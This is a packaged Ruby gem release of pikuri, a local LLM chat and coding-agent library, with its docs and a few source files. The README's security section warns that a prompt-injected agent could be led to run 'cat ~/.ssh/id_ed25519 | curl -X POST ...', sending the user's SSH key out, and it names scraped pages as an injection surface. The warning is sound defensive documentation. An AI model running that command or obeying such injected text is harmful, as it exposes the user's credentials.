pikuri 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 6ce82e87d9498175b524fae4b97d8409758d8fe18783bd7084ae79afd606c56a
+  data.tar.gz: a17444b138a83252172ba0bcaa9d99129642cef0be2e1307bcc0b9203092ebb8
+SHA512:
+  metadata.gz: 5620bfd3290ea12b6069375382c1e79e769a7a2822d94b91bc166c2d0ac50ea41a2b75fd618ff006ac4500398da05ab9d0f970b123e44ef2a4c6f01e1096dd4d
+  data.tar.gz: 995b317bce1952d161c2c4e0088eb92ee9cf7788252c7496949d14633e9126acfc4cedfb7a5f105f9ab4a6e359d63b41cce5d3246cc113d334c07ab259218862

data/CHANGELOG.md

@@ -0,0 +1,62 @@
+# Changelog
+
+All notable changes to pikuri are recorded here. Format follows
+[Keep a Changelog](https://keepachangelog.com/en/1.1.0/); the project
+uses semver as documented in `lib/pikuri/version.rb`.
+
+## [Unreleased]
+
+## [0.0.1] - 2026-05-14 — first packaged release
+
+The initial gem release. Pikuri is shipped as a **library** — there are
+no executables installed by `gem install pikuri`. The `bin/pikuri-chat`
+and `bin/pikuri-code` scripts in the source tree are dev/demo entry
+points; production binaries built on pikuri (notably the planned
+`pikuri-tui`) will live in their own downstream gems.
+
+### Added
+- `pikuri.gemspec` with runtime deps pulled from the previous `Gemfile`
+  (one source of truth; `Gemfile` now uses `gemspec`).
+- `Pikuri::VERSION` constant (`lib/pikuri/version.rb`); Zeitwerk is
+  told to ignore the file since the constant is `VERSION`, not
+  `Version`.
+- `LICENSE` (MIT) and gemspec license metadata.
+- `Pikuri::PROMPTS_DIR` and `Pikuri.prompt(name)` — downstream library
+  users can read pikuri's bundled system prompts as a starting point
+  for their own wiring.
+- `Tool::Bash` emits a loud warning at construction: the tool runs
+  commands unsandboxed under pikuri's UID and can read `~/.ssh`, AWS
+  credentials, etc. A future release will gate this behind a sandbox.
+- `Pikuri::Tool::SkillCatalog` + `Pikuri::Tool::Skill` — pikuri's
+  implementation of the [Agent Skills standard](https://agentskills.io/specification).
+  `SkillCatalog` discovers and validates `SKILL.md` files under the
+  standard `.pikuri/skills`, `.claude/skills`, `.agents/skills`
+  directories (precedence in that order); `Tool::Skill` is auto-
+  registered by `Agent#initialize` whenever the wired-in catalog is
+  non-empty, and the catalog's prompt block is appended to the system
+  prompt so the LLM sees the available inventory without an extra
+  round-trip.
+- `mise.toml` pinning Ruby 3.3, matching the gemspec floor.
+- `CHANGELOG.md` (this file).
+
+### Changed
+- **Namespace move.** Top-level `Agent`, `Tool`, and `UrlCache` are now
+  `Pikuri::Agent`, `Pikuri::Tool`, `Pikuri::UrlCache`. All bundled
+  tools, listeners, and helpers live under `Pikuri::*`. Standard gem
+  layout: `lib/pikuri.rb` + `lib/pikuri/**/*.rb`; `spec/` mirrors it.
+- `Pikuri::Agent::Listener::InMemoryList` renamed to `InMemoryMessageList`
+  to clarify what it records (message events).
+- `UrlCache::ROOT_DIR` follows the XDG Base Directory spec:
+  `$XDG_CACHE_HOME/pikuri/url_cache` if set, else
+  `~/.cache/pikuri/url_cache`. Previously `/tmp/pikuri/cache`.
+- `bin/pikuri-chat` and `bin/pikuri-code` read prompts via
+  `Pikuri.prompt(name)` instead of hand-rolled `__dir__` arithmetic.
+
+### Project scope
+- Pikuri targets **Linux**; macOS may work; Windows is unsupported.
+  Rationale: the eventual Bash-tool sandbox (Docker / bubblewrap) and
+  the existing reliance on POSIX shell + GNU coreutils + XDG layout
+  make a Windows port more cost than benefit.
+- Hard ceiling on source size: a privacy-conscious user should be able
+  to read pikuri end-to-end in an evening and decide whether to trust
+  it outside a sandbox. New features compete against that budget.

data/GETTING_STARTED.md

@@ -0,0 +1,223 @@
+# Getting started with pikuri-chat
+
+This guide walks you from a fresh checkout to a working privacy-first
+chatbot running entirely on your own machine. The assumed platform is
+Ubuntu (or another Debian-derived Linux); adapt the package commands if
+you're elsewhere.
+
+## 1. Clone and install
+
+```sh
+git clone https://codeberg.org/mvysny/pikuri.git
+cd pikuri
+
+# Ruby 3.x and Bundler. Pikuri has no Rails or native-extension
+# headaches — the stock distro packages are fine.
+sudo apt install ruby ruby-bundler
+
+bundle install
+```
+
+That installs all the gems pikuri needs (`ruby_llm`, `faraday`,
+`nokogiri`, `tty-markdown`, …) into your user gem path.
+
+## 2. Try to run pikuri-chat (and watch it fail)
+
+```sh
+./bin/pikuri-chat "Hello"
+```
+
+You'll see a connection error. That's expected — pikuri-chat ships
+pointed at a local `llama.cpp` server, and you don't have one running
+yet. We'll start one in the next step.
+
+This is the privacy property in action: pikuri does not silently fall
+back to a cloud provider. No model means no answer.
+
+## 3. Install llama.cpp
+
+`llama.cpp` is the project that actually runs the model. Ubuntu 24.04
+and newer have it packaged:
+
+```sh
+sudo apt install llama.cpp
+```
+
+This gives you `llama-server` on your `$PATH`. If your distro doesn't
+package it, follow the build instructions at
+<https://github.com/ggml-org/llama.cpp> — pikuri only needs the
+`llama-server` binary.
+
+## 4. Start the model
+
+The model `bin/pikuri-chat` is wired for is `unsloth/Qwen3.6-35B-A3B-GGUF`
+— a mixture-of-experts model from the Qwen series, quantized by the
+folks at Unsloth so it fits in regular hardware. `llama-server` can
+download it from Hugging Face for you on first run:
+
+```sh
+llama-server \
+  -hf unsloth/Qwen3.6-35B-A3B-GGUF \
+  --hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf \
+  -c 65536 \
+  --jinja
+```
+
+What each flag does:
+
+- `-hf unsloth/Qwen3.6-35B-A3B-GGUF` — Hugging Face repo to pull from.
+- `--hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf` — pick the
+  Q4_K_M quantization (good size/quality tradeoff).
+- `-c 65536` — 64K context window. Pikuri's agent loop accumulates
+  tool observations into the context, so headroom matters.
+- `--jinja` — enable Jinja chat templates. The Qwen3 series needs this
+  for correct tool-call formatting.
+
+**Expect this to be slow on CPU.** A 35B-parameter mixture-of-experts
+model running on CPU can manage a few tokens per second. If you have
+an NVIDIA or AMD GPU with enough VRAM, add `-ngl 99` to offload all
+layers onto the GPU — this is the single biggest speedup you can get.
+See `llama-server --help` and the
+[llama.cpp docs](https://github.com/ggml-org/llama.cpp/tree/master/tools/server)
+for tuning options (`-t` for thread count, `-ngl N` for partial GPU
+offload, `--mlock`, and friends).
+
+The server binds to `127.0.0.1:8080` by default, and `bin/pikuri-chat`
+is wired to `http://localhost:8080/v1` — so if you're running both on
+the same machine, no further configuration is needed. If your
+`llama-server` lives on another host, edit the `openai_api_base`
+string near the top of `bin/pikuri-chat` to match.
+
+## 5. Talk to it
+
+In a second terminal, leaving `llama-server` running:
+
+```sh
+./bin/pikuri-chat
+```
+
+You'll get a `>` prompt. Try something the model can't answer from
+memory alone — that's where the tools come in:
+
+```
+> What is 1837 * 4291, and what's the current Ruby stable version?
+```
+
+You should see the model emit reasoning, call the `calculator` tool
+for the multiplication, call `web_search` (and likely `web_scrape`)
+for the Ruby version, then reply in plain text. Use Ctrl+D or Ctrl+C
+to exit.
+
+## How the agentic loop works (and why it's private)
+
+Pikuri runs the standard *Thought → Tool-call → Observation* loop:
+
+1. The model receives your message plus the running conversation.
+2. It produces either a final answer (and the turn ends) or a tool
+   call — a structured request like *"call `web_search` with query
+   `…`"*.
+3. Pikuri executes the requested tool locally, capturing its output as
+   an *observation*.
+4. The observation is appended to the conversation and the model is
+   called again.
+
+The model itself runs entirely inside your `llama-server` process. It
+has **no network access** of its own — it can only reason and emit
+text. The single way information leaves your machine is when the model
+asks pikuri to call a network-touching tool, and pikuri actually
+performs that call on your behalf. If you never give the model network
+tools, nothing the model "thinks about" can ever leave the box.
+
+This is meaningfully stronger than the typical hosted-assistant
+arrangement: there is no provider receiving your prompts, no telemetry
+pipeline, and no fine-tuning corpus being assembled from your chats.
+
+If you'd like to *see* this loop implemented in a handful of files
+with nothing else in the way, the sister project
+[agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo) is
+written exactly for that. Pikuri uses the same shape, just wrapped in
+tools, listeners, and sub-agents.
+
+## What tools `bin/pikuri-chat` ships with
+
+Four tools, all defined in `lib/pikuri/tool/` and wired in `bin/pikuri-chat`:
+
+- **`calculator`** — evaluates an arithmetic expression with Dentaku.
+  Local, no network.
+- **`web_search`** — runs a search query through one of the configured
+  search providers and returns a Markdown list of titles, URLs, and
+  snippets. See below for the privacy posture of each provider.
+- **`web_scrape`** — fetches an HTML page or PDF, strips the chrome
+  with readability extraction, and returns the main content as
+  Markdown. The model typically chains `web_search` → pick a URL →
+  `web_scrape` to read the full article.
+- **`fetch`** — downloads a URL verbatim (JSON, CSV, robots.txt,
+  source files) without any rendering pass that would corrupt the
+  bytes.
+
+Plus a built-in *sub-agent* facility (enabled by
+`agent.allow_sub_agent`): the model can dispatch a focused side-quest
+to a fresh agent so the noisy intermediate observations don't pollute
+the main context.
+
+## Search providers and their privacy trade-offs
+
+`web_search` is a cascade across whichever providers you have
+configured. The orchestration lives in `lib/pikuri/tool/search/engines.rb`;
+each provider's privacy posture is documented in detail at the top of
+its source file.
+
+### DuckDuckGo (default, no setup)
+
+Always available — no API key, no registration. Pikuri scrapes the
+public HTML endpoint at `html.duckduckgo.com`. DuckDuckGo's policy is
+that they don't save your IP alongside searches, don't sell personal
+information, and proxy the request so downstream content providers
+can't profile you. The catch: DDG is largely a relay over Bing for
+web results, so the *query content* still reaches Microsoft for
+fulfillment, even though identifying info is stripped on the way out.
+
+Good enough for everyday curiosity. See
+`lib/pikuri/tool/search/duckduckgo.rb` for the full write-up.
+
+### Brave Search API (recommended for sensitive queries)
+
+The best privacy posture of the three. Brave does **not** train its
+models on your queries, does not link queries to identifiers, and
+retains query logs for 90 days by default (Zero Data Retention is
+available on their Enterprise plan).
+
+To enable it, register for a free API key at
+<https://api-dashboard.search.brave.com> — the "Data for Search" tier
+gives you 1 query/sec and ~2k queries/month at no cost. Then export
+the key before starting pikuri:
+
+```sh
+export BRAVE_SEARCH_API_KEY=your-key-here
+./bin/pikuri-chat
+```
+
+Once the env var is set, Brave joins the cascade and may be chosen
+over DuckDuckGo for any given query. See `lib/pikuri/tool/search/brave.rb`.
+
+### Exa (paid, weakest privacy)
+
+Optional. Exa is a paid neural-search API; activate it by setting
+`EXA_API_KEY`. Be aware that Exa's Terms grant them a
+*perpetual, irrevocable, sub-licensable* license over the queries you
+submit, and their privacy policy explicitly says queries are used for
+training. Don't enable Exa if your search history would be
+embarrassing or sensitive in a training set.
+
+See `lib/pikuri/tool/search/exa.rb` for the full privacy posture.
+
+### Recommended setup for best privacy
+
+1. Run `llama-server` locally (Step 4 above).
+2. Register a free Brave Search API key and `export
+   BRAVE_SEARCH_API_KEY=…`.
+3. Leave Exa unset.
+
+With this configuration, your prompts never leave your machine, and
+your search queries hit Brave under a clear no-training-on-queries
+commitment.

data/LICENSE

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2026 Martin Vysny
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

data/README.md

@@ -0,0 +1,193 @@
+# pikuri
+
+A small Ruby AI assistant you run on your own machine. `bin/pikuri-chat`
+is a general-purpose chatbot with a calculator, web search, web
+scraping, and a fetch tool — wired by default to a
+[llama.cpp](https://github.com/ggml-org/llama.cpp) server running
+locally, so the conversation never leaves your computer unless the
+model itself decides to call a tool.
+
+## Quick start
+
+```sh
+git clone https://codeberg.org/mvysny/pikuri.git
+cd pikuri
+
+# Ruby 3.x + bundler (Ubuntu/Debian)
+sudo apt install ruby ruby-bundler
+
+bundle install
+
+./bin/pikuri-chat "What is 17 * 23?"
+```
+
+The first run won't get far — pikuri-chat needs a model behind it. See
+[GETTING_STARTED.md](GETTING_STARTED.md) for the full walkthrough:
+installing `llama.cpp`, pulling a model, starting `llama-server`, and
+asking your first question.
+
+## Using pikuri as a library
+
+Pikuri is shipped as a Ruby gem you can use in your own project. The
+recommended path: **first** play with `bin/pikuri-chat`, inspect the
+sources, get a feel for the shape — *then* pull pikuri into your
+project as a library:
+
+```ruby
+# In your Gemfile
+gem 'pikuri'
+```
+
+A minimal wiring — single agent, default `llama.cpp` transport, the
+bundled calculator + web-search tools, the same system prompt
+`pikuri-chat` uses:
+
+```ruby
+require 'pikuri'
+
+RubyLLM.configure do |c|
+  c.openai_api_base = 'http://localhost:8080/v1'  # llama.cpp default
+  c.openai_api_key  = 'not-needed'
+end
+
+agent = Pikuri::Agent.new(
+  transport: Pikuri::Agent::ChatTransport.new(
+    model: 'unsloth/Qwen3.6-35B-A3B-GGUF',
+    provider: :openai,
+    assume_model_exists: true
+  ),
+  system_prompt: Pikuri.prompt(:'pikuri-chat'),
+  tools: [Pikuri::Tool::CALCULATOR, Pikuri::Tool::WEB_SEARCH],
+  listeners: Pikuri::Agent::ListenerList.new([
+    Pikuri::Agent::Listener::Terminal.new,
+    Pikuri::Agent::Listener::StepLimit.new(max: 20)
+  ])
+)
+
+agent.run_loop(user_message: 'What is 17 * 23?')
+```
+
+`bin/pikuri-chat` and `bin/pikuri-code` in this repo are the canonical
+working examples — they're dev/demo scripts (not installed by
+`gem install pikuri`), but they're the easiest place to crib wiring
+from. The bundled system prompts under `prompts/` are loadable as a
+starting point via `Pikuri.prompt(name)`.
+
+## Why this exists
+
+The existing self-hosted agent stacks have grown big and now have a
+steep learning curve — a privacy-conscious user arriving fresh hits a
+wall of JSON configuration before the first conversation. Pikuri is
+the deliberate counter-move:
+
+- **Privacy-first.** Defaults wire a local `llama.cpp` server. No
+  cloud account, no API key, no telemetry, no request leaving the
+  machine — unless you explicitly opt in by configuring an external
+  provider, or the model calls a network tool like `web_search`.
+- **Simple.** Two short scripts, sane defaults, no config file required
+  to get the first conversation going.
+- **Gentle learning curve.** Defaults work without a config file. The
+  surface area grows as you grow into it: start by chatting, then add
+  a search API key when you want better results, then edit the system
+  prompt when you want to specialise behaviour.
+- **Teaches you how to use it.** [GETTING_STARTED.md](GETTING_STARTED.md)
+  walks you from zero — a fresh checkout, no model running — to a
+  working personal assistant: installing the local model server,
+  asking your first question, understanding what each bundled tool
+  does, and choosing a search backend that matches your privacy
+  comfort level.
+
+## Curious how the agentic loop actually works?
+
+Pikuri sits on top of [ruby_llm](https://rubyllm.com), which owns the
+Thought → Tool-call → Observation loop. If you want to *learn* how
+that loop works internally — minimal code, no extension surface,
+nothing to wade through — read
+[agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo).
+It's the same author's small didactic project, written precisely so
+the source is the lesson. Pikuri is the production-shaped sibling:
+same loop, plus tools, listeners, sub-agents, and ergonomics.
+
+# More Substance
+
+pikuri-chat builds your understanding of pikuri underpinnings, but it's just a toy.
+The real fun begins now.
+
+## pikuri-code
+
+An in-repo coding agent in the spirit of Claude Code, opencode, or
+pi-code — but kept deliberately small so you can read the sources in
+an evening. Wire-by-wire it's the same `Pikuri::Agent` as
+`pikuri-chat`, with a different system prompt and a different toolset:
+`read`, `write`, `edit`, `grep`, `glob`, `bash`, plus the web tools
+and the calculator. Sub-agents are enabled, and any
+[Agent Skills](https://agentskills.io/specification) discovered under
+`.pikuri/skills`, `.claude/skills`, `.agents/skills` (project or home)
+get exposed to the model on demand.
+
+Run it from the root of the repo you want it to work in:
+
+```sh
+cd ~/code/your-project
+/path/to/pikuri/bin/pikuri-code
+```
+
+You'll land in a REPL — type a request at the `>` prompt, hit enter,
+and the agent will start reading files, running commands, and editing
+code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an
+initial message on the command line:
+
+```sh
+/path/to/pikuri/bin/pikuri-code "find the failing spec and fix it"
+```
+
+The first time the agent wants to write a file or run a shell command,
+it prompts you on the terminal (`(y/n)?`). Read what it's about to do
+before you say yes. If an `AGENTS.md` or `CLAUDE.md` exists at the
+workspace root, it's prepended to the system prompt as project
+context.
+
+### Security: this is a tech demo, treat it accordingly
+
+**Do not run `pikuri-code` against a sensitive checkout on a machine
+that holds secrets you care about.** It is a working demo of the
+coding-agent shape, *not* a hardened tool. The threat model has
+glaring holes:
+
+- **No sandbox.** The `bash` tool runs commands as your user, with
+  your environment, your `$HOME`, your `~/.ssh`, your shell history,
+  your browser cookies, your cloud CLI credentials — all reachable.
+  An LLM that's been prompt-injected (e.g. by a malicious README it
+  scraped, a poisoned dependency, or a crafted file in the repo) can
+  ask to run `cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only
+  thing standing between that and exfiltration is *you* reading the
+  confirmation prompt carefully. The workspace lock applies to
+  pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it does
+  **not** apply to `bash`, which can `cat`, `cp`, `scp`, `curl`
+  anything the OS lets your user touch.
+- **`--yolo` auto-approves everything.** That flag exists for use
+  *inside* a disposable container or VM. Running `--yolo` on your
+  laptop is equivalent to handing the model a root shell. Don't.
+- **Network tools fetch arbitrary URLs.** `web_search`, `web_scrape`,
+  and `fetch` are happy to pull whatever the model asks for, and the
+  content of those pages then becomes part of the conversation —
+  classic indirect prompt-injection surface.
+- **No audit log of approved actions.** Once you approve a `bash`
+  command it runs; there's no separate record beyond your scrollback.
+
+In short: run it inside a Docker container, a dev container, a VM, a
+fresh user account — anywhere you'd be fine with a stranger having a
+shell. The sandboxing story is a known gap and tracked as future
+work (see `IDEAS.md`); until it lands, **assume the agent can do
+anything your user can do**, and approve prompts on that basis.
+
+## pikuri-assistant
+
+Has access to your private documents, can read and respond to e-mails, remembers
+stuff. TODO implemented in the future.
+
+## Tests
+
+```sh
+bundle exec rspec
+```

data/lib/pikuri/agent/chat_transport.rb

@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Pikuri
+  class Agent
+    # The trio of arguments that has to travel together to +RubyLLM.chat+
+    # for model resolution to come out the same on every construction:
+    # the model id, the provider hint, and the registry-bypass flag.
+    #
+    # Bundling them is structural protection against a recurring bug
+    # class — every forwarding site (the synthesizer rescue in
+    # {Agent#run_loop}, {Tool::SubAgent} spawning a sub-agent) used to
+    # pass the three individually, and dropping one routed the spawned
+    # chat to a different server or raised +RubyLLM::ModelNotFoundError+
+    # on the unknown model id. With a single value object the call site
+    # can't silently miss a field.
+    #
+    # Pure data carrier: no +RubyLLM+ references here, so the seam stays
+    # in {Agent}, +bin/pikuri-chat+, and {Tool}.
+    #
+    # @!attribute [r] model
+    #   @return [String, nil] LLM identifier; +nil+ defers to
+    #     +RubyLLM.config.default_model+ at {Agent} construction time
+    # @!attribute [r] provider
+    #   @return [Symbol, nil] forwarded to +RubyLLM.chat+. Required
+    #     together with +assume_model_exists+ when pointing at a local
+    #     OpenAI-compatible server (llama.cpp, gpustack, ...) whose model
+    #     ids are not in ruby_llm's bundled registry.
+    # @!attribute [r] assume_model_exists
+    #   @return [Boolean] forwarded to +RubyLLM.chat+; +true+ skips
+    #     ruby_llm's registry lookup and trusts the supplied model id.
+    #     Requires +provider+.
+    class ChatTransport < Data.define(:model, :provider, :assume_model_exists)
+      # @param model [String, nil]
+      # @param provider [Symbol, nil]
+      # @param assume_model_exists [Boolean]
+      def initialize(model:, provider: nil, assume_model_exists: false)
+        super
+      end
+    end
+  end
+end

data/lib/pikuri/agent/context_window_detector.rb

@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'faraday'
+require 'json'
+
+module Pikuri
+  class Agent
+    # Resolves the model's context-window cap from three sources, in order:
+    # an explicit override, the value ruby_llm reports for the model, or a
+    # llama.cpp +/props+ probe. Returns +nil+ if none of those produce a
+    # value.
+    #
+    # Used by {Agent#initialize} at construction time to feed
+    # {Listener::TokenLog} a cap it can render alongside the running
+    # context size (so the +ctx=12.2k/32.0k+ line tells the operator how
+    # close the conversation is to the limit).
+    #
+    # == Precedence
+    #
+    # 1. +override+ — the +Agent.new(context_window:)+ kwarg. Wins over
+    #    everything; an explicit value is the operator's statement of
+    #    truth.
+    # 2. +ruby_llm_reported+ — +RubyLLM::Model::Info#context_window+ from
+    #    {Agent#chat}'s resolved model. Populated for models in ruby_llm's
+    #    bundled registry (OpenAI, Anthropic, Gemini, …); +nil+ for custom
+    #    local model ids that fall through to +Model::Info.default+.
+    # 3. +llama_probe_url+ — HTTP GET against llama.cpp's non-standard
+    #    +/props+ endpoint. The server exposes the launched +n_ctx+ at
+    #    +default_generation_settings.n_ctx+ there. Probed only when the
+    #    first two are +nil+. Provider-specific to llama.cpp; the caller
+    #    (typically +bin/pikuri-chat+) derives the right URL from its configured
+    #    base.
+    #
+    # == Failure handling
+    #
+    # The probe is best-effort. HTTP error, timeout, non-JSON body, or a
+    # missing/invalid +n_ctx+ field all return +nil+ and log one +warn+
+    # line via +Pikuri.logger_for('ContextWindowDetector')+. This is the
+    # CLAUDE.md "secondary to the loop" carve-out — a wedged or
+    # non-llama.cpp server should not abort agent construction over a
+    # cosmetic readout.
+    class ContextWindowDetector
+      LOGGER = Pikuri.logger_for('ContextWindowDetector')
+
+      # Probe timeouts in seconds. Short on purpose: this runs synchronously
+      # during +Agent.new+ and a wedged server should not stall startup
+      # noticeably.
+      OPEN_TIMEOUT = 2
+      READ_TIMEOUT = 2
+
+      # @param override [Integer, nil] explicit cap from the caller; wins if
+      #   non-+nil+
+      # @param ruby_llm_reported [Integer, nil] value off
+      #   +RubyLLM::Chat#model.context_window+
+      # @param llama_probe_url [String, nil] full URL to llama.cpp +/props+;
+      #   +nil+ or empty string skips the probe
+      def initialize(override:, ruby_llm_reported:, llama_probe_url:)
+        @override = override
+        @ruby_llm_reported = ruby_llm_reported
+        @llama_probe_url = llama_probe_url
+      end
+
+      # @return [Integer, nil] resolved cap, or +nil+ if no source produced
+      #   one
+      def detect
+        return @override if @override
+        return @ruby_llm_reported if @ruby_llm_reported
+        return nil if @llama_probe_url.nil? || @llama_probe_url.empty?
+
+        probe_llama_cpp
+      end
+
+      private
+
+      def probe_llama_cpp
+        response = Faraday.new(
+          request: { open_timeout: OPEN_TIMEOUT, timeout: READ_TIMEOUT }
+        ).get(@llama_probe_url) do |req|
+          req.headers['Accept'] = 'application/json'
+        end
+
+        return warn_and_nil("HTTP #{response.status} from #{@llama_probe_url}") unless response.status == 200
+
+        data = JSON.parse(response.body)
+        n_ctx = data.dig('default_generation_settings', 'n_ctx')
+        return n_ctx if n_ctx.is_a?(Integer) && n_ctx.positive?
+
+        warn_and_nil(
+          "no positive integer at default_generation_settings.n_ctx in #{@llama_probe_url} response"
+        )
+      rescue Faraday::Error, JSON::ParserError => e
+        warn_and_nil("#{e.class.name.split('::').last}: #{e.message}")
+      end
+
+      def warn_and_nil(reason)
+        LOGGER.warn("llama.cpp /props probe failed: #{reason}")
+        nil
+      end
+    end
+  end
+end

data/lib/pikuri/agent/listener/in_memory_message_list.rb

@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Pikuri
+  class Agent
+    module Listener
+      # Recording listener that appends every {Message} the agent emits
+      # to an in-memory list. Used by specs to assert on emissions
+      # without parsing stdout, and as the rough shape a future
+      # structured consumer (web sink, telemetry pipe) would take.
+      class InMemoryMessageList < MessageListener
+        # @return [Array<Agent::Message>] every message the listener has
+        #   seen, in order; never nil
+        attr_reader :events
+
+        def initialize
+          super
+          @events = []
+        end
+
+        # @param message [Agent::Message]
+        # @return [void]
+        def on_message(message)
+          @events << message
+        end
+
+        # @return [String] short label for {Agent#to_s}
+        def to_s
+          'InMemoryMessageList'
+        end
+      end
+    end
+  end
+end